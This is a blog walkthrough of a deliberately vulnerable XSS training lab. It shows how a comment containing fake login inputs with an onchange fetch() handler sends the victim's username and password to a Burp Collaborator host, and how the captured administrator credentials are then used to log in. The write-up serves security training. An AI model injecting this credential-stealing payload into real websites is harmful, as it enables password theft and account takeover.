Introduction to Exploiting cross-site scripting to capture passwords

In Exploiting cross-site scripting to capture passwords, Cross-Site Scripting (XSS) is a web security attack where an attacker exploits vulnerabilities in web applications to steal user passwords. This occurs when a web application fails to validate or sanitize user input, allowing malicious scripts to be injected into the page. The attacker creates a malicious URL or input that includes the injected script, allowing the script to execute and intercept user passwords. To mitigate XSS attacks, web developers must implement strong input validation and output encoding practices. Users can protect themselves by using strong, unique passwords, enabling multifactor authentication, and keeping software and browser plugins up-to-date. Prioritizing web security, implementing secure coding practices, and staying informed about emerging threats can significantly reduce the risk of XSS attacks and password unauthorized capture.

Lab Solutions | Practical Work Time Exploiting cross-site scripting

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s username and password then use these credentials to log in to the victim’s account.

Stepwise Solution of the lab:-

After accessing the lab you can see there are lots of posts. (Scroll down a little bit)

Without further ado, click on “View post”. (You can select any post)

So after clicking on the post, I scrolled down until I came to this form or comment section whatever you say.

In this lab, we will be using the Burp Collaborator. Burp Collaborator will play a significant role to solve this lab. Well, First what we need is to copy a unique Burp Collaborator payload to your clipboard. (Keep note that link you may use notepad or anything)

Guys have a look at this form carefully. I will explain what we did. In the below payload, we just removed ‘BURP-COLLABORATOR-SUBDOMAIN’ and added the link we copied from Burp Collaborator via clicking ‘Copy to clipboard’.

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Now, let’s see what will happen after ‘Post comment’.

The comment has been submitted. Now, have a look at Burp Collaborator.

Check the “Request to Collaborator”, and see here you go. We found the password of it. Now time to login.

Simply type “administrator” and paste password from the Burp Collaborator where we’ve found the password called “Request to Collaborator” this tab.

BOOM! After clicking on “Log in”. We’ve solved this lab successfully.

I hope you had loved reading this article after you had completed this article we highly recommend you to study the next article: Exploiting XSS to perform CSRF, please don’t forget to leave a comment over here and share it with your friends as well, Good Luck!

Thank you for reading, if this article really helps you then do share it with your mates.
And follow @masaudsec on Twitter.

FAQS